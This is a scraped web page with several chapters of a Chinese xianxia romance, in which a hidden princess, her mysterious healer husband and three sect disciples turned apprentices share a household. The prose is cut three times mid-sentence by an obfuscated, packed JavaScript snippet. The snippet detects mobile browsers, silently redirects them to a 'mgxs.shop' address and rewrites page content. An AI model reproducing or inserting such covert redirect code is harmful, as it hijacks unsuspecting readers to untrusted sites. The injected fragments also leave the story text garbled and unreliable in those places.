离淮抬手扶额:“宁菡,你猪脑子啊,在学宫里天天睡大觉?” 宁菡撸起袖子:“殿下,他骂人!” 姜令霜一阵头大,抬手叫停:“住手,再打滚出去!” 离淮和宁菡双双哼了一声,各自往两边挪了几步,恨不得离彼此八百丈远。 姜令霜双手环胸,冷声道:“傀挫骨也能再次复生,圣物造就出来的邪祟,自然得圣物之力斩除,六大圣物中,能斩天下一切煞物的圣物,一为承咎剑,二为京玉弓。” 两双眼睛看着宁菡,她好似忽然长了脑子,一拍脑袋:“啊,我明白了,他们要借咱们的京玉弓杀傀。” 承咎剑为参府圣物,自几百年前剑灵无端自行封剑后,便再无动静,即使参府愿借,也无人能用,能借用的只有京玉弓。 京玉弓是东洲王城镇守的圣物,能使用圣物的只有授天诏之人。 宁菡又懵了,迷茫问:“可君上昏迷,京玉弓无人能用呀。” 离淮敲她一脑瓜:“所以得找个能用的人啊!本来新的天诏得过段时日才能落下,如今南洲现傀,天下大灾,东洲岂能坐视不管,借诛傀之由,大殿下自然有借口请神提前落诏,行谋逆之事,届时等咱们殿下回去,估计连断头饭都吃不上热乎的!” 宁菡一听便急了,扯住姜令霜的手腕:“殿下,回去。” 姜令霜一动不动,挣开宁菡的手腕,神情平和:“现在回不去,我需要你们去南洲王城找一个人。” 离淮拱手道:“殿下,您说找谁?” “玉琼音。”姜令霜淡声道。 离淮猛地抬头:“玉公主?她一个西洲的人,怎么会在南洲王城?” “她现在一定在,当年被傀杀的是她的母后,南洲现傀,与北洲被窃走的圣物无晦镜有关,又事关当年西洲王后身死一事,现在还跟东洲圣物京玉弓挂上勾了。” 城里刮起了西风,掀起满地的霜雪扑来,姜令霜抬手挥出道屏障,侧首看向雪域。 “四大洲都卷了进来,如今这南洲王城,怕是热闹极了。” - 热闹的不只是南洲王城,青山郡这等隐僻之地,今夜也不太平。 古木拔地而起,直入云霄,枝头落了一层厚厚叠叠的雪,三道黑影纵身跃上,踩着高度不一的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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肩膀中穿过的雪刺陡然化去,奚时雪抬手将画卷扔回,景宸手忙脚乱接住,全然不顾肩头的血。 另外两人的雪刺也消失不见,从树上坠落,却连痛都不敢叫,连忙站直。 “今夜就当没见过我。” 奚时雪转身离开。 几人盯着已经无人的雪道,沉默片刻,面面相觑。 路松盈问道:“不杀我们?” 景宸皱眉反驳:“前辈刚才确实动了杀心。” 只是不知为何,又忽然决定留他们一命。 一旁的圆脸少年大惊:“你都喊上前辈了?刚才他可是一挥袖差点把我们砸出百里地!” 景宸白他一眼,说道:“能跟这种大能过招,是你八辈子修来的福分。” 圆脸少年捂住肩膀的血窟窿,昂声怼他:“到底过了什么招啊,那叫他单方面殴打,我们单方面挨打!” 路松盈快速点住穴位止血,语气急促道:“那咱们现在怎么办,要告知家主吗?” 景宸沉默,他们之中一向是他最有主意,此次瞒着家主前来青山郡也是他起的头,那么多长老带人在找这位前辈,找了整整两年,没成想让他们几个弟子先一步找到人了。 姓周的那小子还真没胡说。 可方才那位前辈也确实留了他们一命,扭头将人卖了实在不厚道。 静了半晌,景宸忽然抬头道:“我们还有第三条路,前辈看着不像脾气差的样子,大能一般都胸怀宽广,我们主动坦白,告诉他现在外头多少人在找他,事态紧急,前辈一定有所取舍!” “嗯!” 三人茅塞顿开,迎着飘落的雪,无视肩头的伤,朝着被砸来的路向前狂奔,心里把美好前景都设想好了—— 奚时雪心系大局,主动跟着他们回去坐镇局势,而他们三个弟子也能凭此立功,从外门直入内门,这是双赢的法子! 越想心情越是澎湃,几人终于瞧见那座僻静的小院,撒开腿奔去。 迎面一阵带雪的风暴袭来,将刚跑了几十里的三人又砸了回去,风雪带来的不只是呼啸声。 还有前辈毫不留情的拒绝。 “不去,请滚。” 解决完几个小辈,奚时雪抬手落雪,枝上的雪掩埋了地上的脚印,他转身进屋褪下外衣,在桌边坐了一会儿,听见东侧厢房开门的声音,虽然极轻,可他听力敏锐。 奚时雪抬手掩嘴,压低声线咳嗽起来,冷白的脸微微涨红,唇角溢出一丝血,他抬手擦去,没过一会儿便听到东侧厢房再次开门的声音。 脚步声逐渐逼近,停在他的门前,门外的人抬手敲了敲门,温声问道:“夫君,你睡了吗?” 奚时雪弯了弯唇,起身走去,门刚打开,姜令霜披着外衣站在门外,眉宇间是掩不住的担忧。 “阿霜,我吵到你了吗?” 纵使他擦了唇,姜令霜仍瞧见他的唇瓣翕合间隐约的血,当年的重伤几乎要了他的性命,自那之后身体落了病根,时常半夜咳嗽。 姜令霜握住他的手,仍是冰凉的,一个凡人的体温却总这般凉。 “我就说给你这屋装个灵火珠吧,你看,寒症又犯了。” “无事。”奚时雪看着她握住自己的手,长睫眨了眨,抬手覆在她的手背上,“不要担心,我没事,你睡吧。” 姜令霜皱眉:“这我怎么睡得着,今夜来我屋里睡,我用灵力为你温脉。” “会不会打扰到你?” “自是不会,别多想,今夜来我屋里睡。” 她态度强硬,奚时雪盯着她的眸子看了会儿,喉结滚了滚,半晌垂眸,缓而慢地握紧她的手。 “好,多谢阿霜。” 4. 第 4 章 姜令霜的房间说不上大,不大的屋内却摞得满满当当,奚时雪当大夫的这一年,赚的钱大多都添置家用了。 不过添置的东西有七成都是姜令霜的。 房里点了香,墙上悬挂的灵火珠为屋内驱逐寒意。 姜令霜打开木柜,抱出备用的锦被,刚转身,奚时雪便接过了她怀里的被褥。 “我来铺吧,阿霜还睡里头可好?” 姜令霜点点头:“行。” 奚时雪在她这屋也不是没睡过,就算是没有夫妻之实,到底是顶着个名头,利用了人家这么久,总不能连这点忙都不帮。 姜令霜靠在妆奁台前看着正在铺床的奚时雪,他生得其实异常高大,个头出挑,她也见过他脱衣裳的模样,只是瞧着清瘦而已,实则并非如此,流畅清晰的肌肉线条不该生在一个病弱之人的身上。 “你的旧疾到底如何,怎么总摸着这般凉?” 她忽然开口,奚时雪铺床的动作顿了顿,长睫半垂,只默了一瞬便自顾自继续,温声道:“应是幼时便有的顽疾。” 姜令霜上下扫了他一眼,又问道:“你的医术如今这般精湛,一点都没办法医治自己吗?” “医者难自医,我也早已习惯。”奚时雪铺好床,放上锦枕,站直身子转身看她,“是我冻着你了吗?” “自然没有,别多想。” 姜令霜走过去,褪下随意披上的外衫挂起,只穿着单薄寝衣,翻身躺到里侧钻进自己的被窝,拍了拍一旁的榻。 “过来,我用灵力帮你温脉。” 奚时雪在她身侧躺下,姜令霜翻身和他面对面,捞过他的手腕将灵力打进去。 “睡吧,不会冷的。” 她闭上眼,单手仍搭在奚时雪的腕间,感知到他凑过来,在她的唇上落下个吻,微凉的唇瓣带着淡雅的雪莲气息,惹得她闷声笑了笑。 姜令霜眼也不睁,抬手戳了戳他的心口:“老实睡觉。” 奚时雪道:“好。” 数不清是多久,他的呼吸规律平稳,姜令霜睁开眼,不动声色牵动灵力在他的经脉中游走,他的脉搏很轻,轻到她时常有种错觉,这人就像那外头的雪,说不定哪天就化了。 她纵使没系统学习过医术,凡间简单的伤还是能诊上一番的,可无论姜令霜为他输送多少灵力,都像是一颗石头投入汪洋大海,转眼消散,激不起一点波浪。 若他真是参府奚家的人,以参府素来与世无争的性子,怎会惹上仇家,她捡到他时,他那一身的伤足以看出是下了死手的,连骨头都碎了几成。 姜令霜垂眸,见灵力又沉入他的经脉消失不见,并未失望,收回大半,只留下为他温脉的灵力。 她近来走洲实在累,身体里的玲珑针又时不时出来折磨人,反正自打奚时雪进来后便不再咳嗽,应是寒症压了下去,姜令霜便放下心,闭上眼没半个时辰便睡了过去。 屋外肆虐的雪被寒风卷起打在轩窗上,发出沉闷的碰撞声,奚时雪抬眸看了眼窗外,这场席卷了整个青山郡的雪好似被隔绝在了这间小院外,风声戛然而止。 他扣住她的手腕,莹润的灵力沿着两人贴合的肌肤涌入她的经脉,丝丝缕缕,密不透风地缠住她体内的那根玲珑针。 奚时雪垂眸看着闭眼安睡的姜令霜,盯了半晌,偏头亲了亲她的额头。 “阿霜,睡吧。” - 不知道为何,自打捡了奚时雪回家后,姜令霜的睡眠质量显著提高。 从前在王城里防守森严,尚且无法睡个安稳觉,为数不多的几次沉睡也都是陷入了梦魇,每每醒来出了一身冷汗。 如今外头到处都在追杀她,她竟然也能安睡,一觉睡到天亮。 姜令霜睁眼的时候,奚时雪已经不在身边,被褥被他收了起来,她的衣裳也叠得整齐搁在榻边,那是奚时雪给她搭的。 她起身穿上衣裳,院里没瞧见人,等她去了水房盥洗过后,奚时雪才背着筐柴火归来。 见她醒来了,奚时雪说道:“饭马上好,阿霜,你先歇着。” 姜令霜有些纳闷:“最近不是下雪吗,哪里捡的干柴?” 奚时雪将柴放到草棚里,拍了拍手上的灰垢,说道:“街上买的,近来城内干柴难寻,得花钱去买。” 姜令霜颔首,从兜里掏出钱袋子:“这是我这些时日走洲赚的钱,买柴应该用得到。” 还没递过去,奚时雪便在火炉前坐下,头也不抬道:“不用,我自己还有。” 姜令霜毫无形象地蹲过去,胳膊肘推了推奚时雪:“过日子算这么清楚做什么?” “阿霜,你坐。”奚时雪将身旁的小矮凳推过去,姜令霜熟练地一屁股坐下,将钱袋子塞进他怀里。 “我有手有脚自己也能养活自己,家里的开销怎么能靠你一个人去贴呢,收着吧。” 钱袋子落到膝上,奚时雪垂眸看了眼,喉口滚了滚,随意收起钱袋说道:“嗯,好。” 他正在烧火,姜令霜刚要说话,眸光一敛,滚到喉口的话又咽了回去,转而说道:“我去外面走走。” 奚时雪颔首道:“好。” 姜令霜起身离开,转身之际脸色一变,等来到院外走了十几步,她双手环胸没好气道:“滚出来。” 缠绕在古树上的藤蔓蜿蜒爬了出来,从另一侧绕上来一条背覆紫白环纹的小蛇。 姜令霜皱眉道:“不是让你们去王城找玉琼音吗?” 藤蔓开口说话:“殿下,玉公主来青山郡了!” 姜令霜眉心紧蹙:“亲眼所见,没认错?” 小蛇猛猛点头道:“嗯嗯!见到了,超漂亮!” 离淮没忍住白她一眼。 姜令霜侧过身,眉心紧蹙,这个时候玉琼音来了青山郡,八成是知晓些什么,可那两只傀已经羁押去了王城,如今青山郡有什么东西值得她来一趟? “可有给玉琼音报信?” 离淮沉声道:“来不及,玉公主附近有守卫,且还有南洲王城的人在,担心暴露踪迹,属下没敢靠近。” 宁菡偷摸溜到自家殿下的脚边,绕着她的小腿往上爬,蛇头搭在姜令霜的肩头处,闷闷说道:“殿下,想回东洲。” 姜令霜抬手拍拍她的脑袋,随口应道:“马上了。” “阿霜。” 清淡的声音在身后响起,姜令霜一怔,离淮和宁菡吓了一跳,一个老实待在树上装成根藤蔓,一个顺着姜令霜的肩头往下爬进她的怀里。 若非姜令霜年岁已不小,见过大风大浪,如今怕是也惊惶无措,脸色只变了一瞬,她瞬间反应过来,挤出笑转身看过去。 “夫君,捡到了条小蛇,你瞧它漂亮吗?” 奚时雪站在离她十几步远的院门处,袖口挽起露出流畅有力的小臂,闻言垂眸瞥了眼姜令霜怀里蜷成一团的蛇。 “嗯,阿霜喜欢便好。” 明明是温和平静的目光,宁菡抬起蛇头看过去时,双目相对,素爱美色的她完全生不起任何欣赏的意思,刺骨寒意从尾巴尖一路窜到头顶,蛇头叼着蛇尾直往姜令霜怀里拱,没两下便把自己盘成了死结。 这条蠢得惊天动地的蛇。 姜令霜笑得脸颊肌肉牵得生疼,趁着抚摸的功夫,顺手将快要缠死自己的宁菡掰开,不经意道:“估计是天越发冷了,马上要冬眠,出来觅些吃的,放它走吧。” 她弯腰将小蛇放进雪地里,拍了拍她的蛇头示意,宁菡一溜烟窜进雪地里,顾不上跟姜令霜辞别,也没看还盘在树上当柴火的离淮。 “不是在烧火吗,出来做什么?” 见奚时雪还站在院门前,姜令霜朝他走去。 奚时雪道:“出来找些引子。” 原来是缺柴火了,姜令霜道:“我去找,你先回去吧。” 奚时雪淡淡看向她的身后:“不必,这根藤蔓便可。” 盘在树上充当干藤的离淮:“!” 姜令霜赶忙拽住要去砍藤的奚时雪,匆忙道:“这怎么能烧——得着呢!” 对上奚时雪看过来的目光,姜令霜话锋一转,反应极快地找补,身子一侧挡住奚时雪的路,挽住他的胳膊笑道:“在雪地里这么久了,看着是干的,那里头估计都潮了,我刚才忽然想起来,先前何大爷给了我些玉米芯,用那个引火吧。” 奚时雪垂眸看着她挽住他胳膊的手,抓得紧紧的,将云白袖管抓出了几道褶皱,他顿了顿,说道:“好。” 姜令霜几乎是拖着奚时雪回去的,刚进院里便觉察到门外的妖气以迅捷之势消失不见,飞快跑路,离淮活了这百年,第一次有人敢拿他当柴烧。 姜令霜从乾坤袋里翻出之前随手塞进去的玉米芯,奚时雪接过去熟练点火。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414956|200739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她在奚时雪面前的形象是一个修为不高的筑基修士,对于一个筑基修士来说,控火术会是会,但极烧灵力,因此两人在家还是过着如凡人般的日子。 奚时雪递过去一袋炒好的瓜子:“阿霜,你吃着。” 姜令霜弯眸一笑:“好,那我陪你烧火。” 奚时雪炒的瓜子醇香,以往姜令霜出去走洲前都会揣上一兜,她低头磕着瓜子,心里却在琢磨方才的事,竟然没听到奚时雪的脚步声,若非他开口说话,等她觉察后,怕是他都走到跟前了。 正寻思着,奚时雪冷不丁开口:“阿霜,你可有想去其他地方?” 姜令霜正嘚啵嘚啵磕着瓜子,闻言险些没咬住自己的舌头,皱眉问道:“你想去走走看看吗?” “是定居。”奚时雪将手里最后一个玉米芯填进炉灶,木柴燃烧的噼啪声逐渐响亮,“我们寻个安静的地方生活。” “怎么忽然想换个地方?”连瓜子都没了味道,姜令霜搭在膝上的手微微蜷起。 “只是问一问。” 姜令霜笑了声,凑过去和他肩膀挨着肩膀,说道:“我很喜欢青山郡啊,何况你的医馆也开在这里,有自己的营生,我在走洲队也混得挺好,没必要去别的地方。” 奚时雪安静看着她,清浅的眸子里好似装着些什么,姜令霜敏锐觉得,他心里揣着事,可还未等她开口问,他便岔开了这个话题。 “好,那我们还在青山郡。” 奚时雪偏头过去,覆在她的唇上轻吻,一触即离,他们鼻尖相抵。 “阿霜,这世上我只信你。” 姜令霜心头无端一揪,和奚时雪生活一年半了,她自然知晓这人的性子,奚时雪并不屑于说假话,为人虽寡淡,却又实诚得很。 “时雪,你……” 奚时雪却别过头道:“火点上了,我先做膳,用完膳后要去医馆,近些时日感染风寒的人多,会忙些。” 姜令霜道:“那我陪你去吧,反正我也没事。” 奚时雪应道:“好。” - 奚时雪在离家三条街的地方开了家医馆,店面不大,店里也就他一个人,备药坐诊抓药都是他在忙,时常还得出去上门看诊,姜令霜早就寻思给他找个伙计。 可招租启事贴了大半年,也不知为何,愣是一个人都没招到。 今日医馆刚开张没多久,店里就来了三人。 奚时雪正在后院收药,姜令霜一不会算账,二不会抓药,只起到一个看店的用处,易了容后,翘着腿坐在柜台后面,盖上毯子磕着奚时雪炒的瓜子和干果。 听到动静后,姜令霜头也不抬道:“看诊需要等会儿,我夫君在后面。” “听说这里招工?” 回她话的是个清脆的少年音。 姜令霜猛地睁眼,从柜台后探出脑袋:“招!” 半年了,足足半年了,在这青山郡招工简直堪比登天了,东洲的公主从小身边就没缺过人,连厨娘都有七八个,还是头一次遇到加钱都招不来一个人的情况。 景宸三人瞧见姜令霜,来的路上听说了,城里的奚大夫生了张堪称天人的脸,昨夜一见也确实如此,可奚大夫却娶了个并不登对的夫人,城里也有些闲言碎语,说这奚大夫怕是真欠了救命的恩情,只能以身相许了。 他们三人却觉得,那些人说的也不绝对。 姜夫人的这双眼睛,可真亮。 让人看一眼就忘不掉。 见这几个小辈不说话,直勾勾盯着自己看,姜令霜生怕到手的学徒跑了,忙掀开薄毯站起身,从柜子里掏出落了一层薄灰的文契。 “上三休一,巳时上工酉时下工,年假节假通通都有,月钱起码一百钱,日子绝对有奔头,现在就能签文契!” 三人看着面前被推来的文契:“……” “不招。” 还没等三人开口答应,从姜令霜的斜后方伸出了双骨节如玉的手,将推出的文契又收了回来。 奚时雪看过去,对上三个顿时怂如鹌鹑的小辈,按在文契上的手用了些力道,忽然笑了声。 他本心软留了这三个孩子一命,几个小辈却胆量颇大,竟还敢来纠缠。 他不在乎丢失的记忆,也不在乎自己的身份,只要姜令霜。 偏偏,偏偏总有不知死活的人要凑上前来。 5. 第 5 章 姜令霜回头,额头撞上奚时雪的下颌,他不知道什么时候靠了过来,见她撞着脑袋,抬手替她轻揉。 “抱歉,痛吗?” “没事。” 姜令霜别头躲开他的手,这人走路一丁点声响都没,还是这两日她过于分神了些,竟未觉察出他的脚步。 被忽视的三人并肩站立,齐齐拱手,为首的景宸道:“前——钱不重要!重要的是我们三人敬仰奚大夫的名望!愿意来此刻苦学习医术!” 奚时雪淡淡看过去一眼,景宸的“前辈”两字在喉咙里囫囵滚了一圈,颇为烫嘴地咽了回去。 路松盈、应煊:“嗯嗯,望奚大夫不吝赐教!” “不招人,三位可去其它医馆。” 奚时雪丢下句话,拿起戥子去到药斗柜前,看也不看身后的三人,“阿霜,帮我戥药。” 姜令霜却并未动,胳膊支在桌上,一手托腮看着景宸三人。 “你们从哪里来的?” 垂头丧气的三人看到希望,当即来劲,慌忙回道:“我们自南洲梦溪郡前来,听闻奚大夫医术精湛,前来求学!” 姜令霜眯起眼睛笑,尾音拉长道:“哦,这样啊。” 三个小骗子,方才激动之时没瞧清这三人周身的灵压波动,如今定睛一看,这可是三个金丹修士,还是参府的人。 参府的人有种出淤泥而不染的清蠢,在这局势诡谲的大陆内,与丹襄雪境一般,是格外清奇的存在。 姜令霜垂眸瞥了眼,那女弟子的腰间还挂着参府的腰牌呢。 路松盈一个跨步上前,握住姜令霜的手:“我们不要一百钱!” 应煊重重点头:“只需要十钱!” 景宸连连否认:“其实也可以交学费!” 三人对视一眼,忽然齐齐后退一步,拱手鞠躬震声道:“夫人人美心善沉鱼落雁闭月羞花,请受我们一拜!” 姜令霜皱着眉后退一步,三人撩起衣袍,扑通几声重重跪在地上,默契地仿佛练过百来次,以头抢地,异口同声道: “师娘!” 姜令霜:“……” 奚时雪抬眸看来:“三位小友,我不收——” 话还没说完,正对姜令霜跪着的三人忽然转身,膝盖在地砖上擦了个圈,对着奚时雪行了个大礼。 “师父!” 额头撞在地上发出沉闷的声响,屋内安静沉寂,几息功夫后,一声轻到几乎听不清的笑声逸散,景宸三人登时胆颤。 奚时雪放下戥子,唇角微弯道:“我习医尚不足两年,神医之名只是谬赞,三位小友还是另寻高就,免得在我这里磋磨,到最后得不偿失。” 不知姜令霜是否听得出来,但昨夜见过这位前辈是如何一挥袖将他们扔出几十里的三个小辈,自然听得出来前辈已经发怒,劝说为假,威胁是真。 但正所谓富贵险中求,何况前辈像是气到了,难保不会在他们出门后杀人灭口,在这里有姜令霜看着,应该还安全些。 三个人悄悄对视一眼,最后咬牙,齐声开嚎:“师——” “好了好了。”姜令霜捂住耳朵,皱眉打断,“那就过来签文契。” 眼前黑影一闪而过,眨眼之间,景宸三人冲到她面前,一人一张文契,从袖子里掏出根笔快速签名盖印,三息功夫都没,三张签好名的文契被推到姜令霜面前。 “师娘!” 姜令霜:“……嗯。” 姜令霜拿出医馆的印章戳上,收起文契,越过景宸几人看向他们身后的奚时雪,从姜令霜开口后,他便没有出言打断,一声不吭地看这几个孩子签了文契。 知道他想说什么,姜令霜走过去挽住他的胳膊,笑盈盈道:“三个孩子有学医救人的心,是好事啊,况且咱们这医馆病患也多,你独身一人成日忙到深夜才归,我自然也心疼,若我出去走洲不在家时,医馆也有个照应。” 景宸、路松盈、应煊三人杵成一排,鹌鹑一般,战战兢兢连连点头。 奚时雪弯眸,握住姜令霜搭在他臂弯间的手,拿起锦帕擦了擦她的掌心。 “好,那就听阿霜的。” 姜令霜眯起眼睛笑,抬手招呼三个孩子。 “来,你们过来,刚好今日要抓一批药,让你们师父教教你们。” 景宸三人过去后,姜令霜哼着小曲拎上篮子,看着他们说道:“那我去买菜啦,今天我做菜吧,你们要回家吃饭吗?” 不等奚时雪回答,路松盈率先开口:“吃!多谢师娘!” 今天跟去吃饭,起码在吃饭前都能活着,小命还是能暂时保住的。 姜令霜眉梢微扬,点了点头了然道:“行,那我先出去了。” “师娘慢走。” 奚时雪对她颔首,温声叮嘱:“路上慢些。” 姜令霜拎上菜篮出门,嘴里还哼着不成调的小曲,能瞧出心情不错。 她自是心情好的,参府的三个孩子找来了,证明她先前的猜测大致没错,奚时雪果然是参府奚家那一脉的人。 这一年半来,纵使未做真夫妻,但奚时雪对她也颇为照顾,日子过得还算平和。 待和玉琼音碰面后,她大抵便要启程回东洲了,如今东洲天诏即将降临,若再耽误时间,她那位好兄长一旦即位,届时她的死期便要到了。 姜令霜必须回去,为了她这条命,为了站在她身后的那些人。 回去前,她需要将奚时雪安顿好,先前没办法暴露身份去参府打听,如今参府的人主动找上门,应是要接他离开,这三个孩子没什么心眼,瞧着也不太聪明,周身毫无杀意和佞气,她这双眼睛能看得出来。 或许回参府,是奚时雪最好的归宿。 姜令霜回头看去,医馆大门敞开,景宸三人挤在一起钻研药方,能看出这几个孩子大概也是学过点医理的,校戥抓药复核都熟门熟路,奚时雪站在一旁一句话都没说,他们三个就能对着药方抓好一包药。 奚时雪耳聪目明,纵使姜令霜已快走到街头,可他似乎仍觉察出了她的目光,蓦地看过来,姜令霜赶忙转身,扭头进了一旁的巷道。 她的背影消失在街头,奚时雪宛如变了个人般,周身的温和一扫而尽,靠在桌旁,单手轻叩桌面,冷眼瞧着三个看似淡定,实则挤在一团头都不敢回的鹌鹑。 周遭仿佛有层无形的结界笼罩,隔绝外界的所有声音,连同街上的喧嚣也半分传不进来,几个小辈蹑手蹑脚包药,听到身后衣物摩挲的动静,似乎奚时雪动了。 景宸闭眼转身,嗓门极大地开嚎:“前辈,师娘还让我们晚上回家吃饭呢!!!” 片刻后,脑袋还在,呼吸也顺畅,景宸悄悄摸摸睁开了一只眼睛,又偷摸睁开了另一只眼。 奚时雪并不在眼前,三个小辈看过去,他正站在及腰的药柜前拨算盘,背对他们而站,冷声道:“在她面前勿要舌长事多,趁早离开。” 三人哂笑两声,默默远离此刻明显能瞧出来不虞的前辈。 离开是不太可能,他们三人本就是背着长老来的,谁知道误打误撞还真找对人了,这会儿平白回去定会因私自外出一事被家族责罚,要想将功补过只有一个法子,将人带回去。 三个孩子蹲在雪地里思索了一晚,最后搏一把,赌前辈心肠软,会留下他们。 如今看来心肠软的不是奚时雪,而是奚时雪的夫人,瞧着这当家的像是那女子。 景宸三人对视一眼,默契点头。 拿下师娘等于拿捏师父。 - 姜令霜回到家后,离淮和宁菡已经在等她了。 小蛇盘在房檐上,藤蔓在另一侧缠绕,一蛇一藤瞠目结舌地看着自家十指不沾阳春水的公主殿下挽起宽袖进了膳房。 宁菡坐不住,化为人形跳进去:“殿下,做什么!” 姜令霜斜她一眼:“看不出来吗,做饭啊。” 离淮冲上前夺过水瓢,惊骇道:“做饭哪用得到您!您可是东洲公主!” 姜令霜柳眉微拧,灵力卷来被他夺走的水瓢,没好气道:“你俩给我找个地方挂好,玉琼音的事我亲自处理。” 她转身拎上一桶水,轻轻松松毫不费力。 宁菡和离淮不情不愿地爬上房檐,挂在那里看着自家殿下捣鼓,殿下不甚熟练的动作稍稍安抚了两只小妖的心,起码在失联的这一年半,姜令霜应当没有经常下厨,不然不会把丝瓜瓤当汤瓢用。 可那凡人真是好福气! 东洲公主为他亲自下厨,即使只有几次! 赶在奚时雪回来前,姜令霜将挂在房檐上看了她两个时辰的宁菡和离淮赶走,刚将饭菜端出去,奚时雪便回来了。 还带回了三个傻孩子。 “师娘好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414957|200739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”三个孩子齐齐鞠躬,朝姜令霜行了个大礼。 姜令霜看过这三人的文契。 穿一身黑衣,个子瘦高的名唤景宸。 旁边身着紫衣,眉目清秀的少女名唤路松盈。 最左边略有些圆润,长了张娃娃脸的名唤应煊。 三个孩子眼里有活,跟她打完招呼立马便去搬凳擦桌,溜得飞快。 奚时雪站在门口,明明跟平日瞧着没什么两样,但姜令霜愣是能一眼看出来,这人心里闷了气,瞧着不太欢喜。 原因也很明白了,他素来喜静,如今多了三个毛毛躁躁的徒弟,怎么也欢喜不起来。 姜令霜走过去,死了多年的良心忽然复活了些,握住奚时雪的手把玩,几乎靠在他怀里,打趣道:“这脸拉的都能栓头驴了。” 奚时雪握住她的手,擦去她指腹上沾染的尘垢,说道:“阿霜,日后还是我做饭吧。” “好。” 姜令霜并未觉得这有什么,跟奚时雪过日子的这一年半来,她下厨的次数一只手都能掐过来,这人对她已经够照顾了。 所以临走前,她得安顿好他,跟着那三个傻孩子离开便是个好去处。 因为多了三人,姜令霜特意多炒了两个菜,舟车劳顿几天,没来得及正儿八经吃一顿的三个孩子,看着满桌的鸡鸭鱼眼冒金光。 姜令霜先给奚时雪夹了菜:“夫君,你尝尝,我将你留下的笋炒了几颗。” 奚时雪颇为平静地吃下了她夹来的菜,温声道:“很好,阿霜辛苦。” 姜令霜眉开眼笑,一扭头瞧见馋的直流口水的三个傻孩子,温笑着请他们用膳:“吃吧,不用客气。” “多谢师娘!”景宸带头道谢,三人立马动了筷子。 片刻后,一片沉寂。 姜令霜凑过去问:“怎么样?” 路松盈憋得一张脸通红,刚一抬头,瞥见奚时雪看来的目光,滚到喉咙的话又咽了回去,努力牵动痉挛的肌肉笑着说:“好吃,师娘的厨艺简直登峰造极,如有神功。” 景宸将凉茶一饮而尽,冲走在舌尖上跳舞的辣椒,点头道:“师娘辛苦!” “我、我吃个包子。”应煊终于将在嘴里横跳的肉咽了下去,拿起整张桌上看起来唯一能吃的包子,啃了一口后,实心的。 绵软的面团黏在牙齿上,怎么都嚼不烂,他噎得直灌水,面团又顺着喉管下滑,脖子差点没伸出几里地。 姜令霜眯了眯眼:“怎么了?” 应煊抬头,坐在对面的师父冷冷看着他,他强撑着微笑说:“吃太急噎住了,这包子得做上许久吧,师娘还是歇着让我们来吧。” 姜令霜笑了笑,将菜推过去:“那你们先吃,我今个儿下午吃了些点心也不饿,给你们拿点包子带回去。” 院里,奚时雪面不改色用膳,景宸三人看得目瞪口呆,能忍至此,怨不得会成为绝世大能。 一个时辰后,三个孩子一人带了一兜包子回去。 这些是师娘为他们准备的,接下来几日的早膳,午膳和晚膳。 送走三个小徒弟,姜令霜站在院门回头,奚时雪正在收拾碗筷,他总穿一身白衣干活,搬柴扫地洗衣等等都干,姜令霜却从未见过他狼狈脏污的一面。 等他收拾妥当后,她走过去从身后抱住他,侧脸贴着奚时雪的脊背,笑盈盈道:“你这么不开心?” 奚时雪回身,两人面对着面,姜令霜靠在他的怀里,他垂眸看她,抬手替她擦去鼻头上沾染的面粉。 “阿霜,我可以照顾好你,我们两个人过日子不可以吗?” 姜令霜笑着道:“可我心疼你啊,有几个人帮衬你,那三个孩子瞧着挺好的,是好人。” “那阿霜是什么人?”奚时雪眼尾微弯,仿佛无意地问她。 姜令霜眉梢微挑,眯起眼狡黠道:“你的夫人啊。” 奚时雪的手捧在她的脸侧,似有若无地摩挲,指腹下是她光滑的肌肤,整个青山郡原先只有他知晓她长什么模样,如今又多了两个不知死活的小妖,似乎还是她的故人。 平静的生活好似要被打破,这种陡然出现的失控着实令人不虞。 “嗯,我的夫人。” 奚时雪低头看着目光狡黠的姜令霜,俯身吮着红唇纠缠,半晌稍稍分离些,亲昵地摩挲她的唇瓣。 “我的。” 6. 第 6 章 “好了好了,该去盥洗歇息了。” 亲了好一会儿,姜令霜别过头躲过奚时雪的唇,他拥着她,俯身将脑袋埋进她的颈窝,清凌的雪莲香铺天盖地,像张密不透风的网将她裹挟。 “阿霜,我今夜能歇在你屋里吗?” 姜令霜拍拍他的脊背:“自然可以,近来咳嗽严重吧,我替你温脉。” 奚时雪的余光可以瞥见她的耳垂,悬挂着一颗碧红水滴耳坠,摇晃的琉璃坠中映出悬挂在廊檐下的灯影,一晃一晃,衬得她的耳垂分外莹润。 姜令霜并不知道他的脑子里如今在想些什么,被他抱了好一会儿,终于是耐不住了,拍拍他说道:“先放开我,去烧水吧。” 话刚说完,温热覆上前来,奚时雪含住她的耳垂,濡湿的吻绵密轻柔,一股战栗从姜令霜的脚跟一路窜到头顶,被亲了半晌才反应过来。 姜令霜缩了下脖子:“时雪,你等等。” 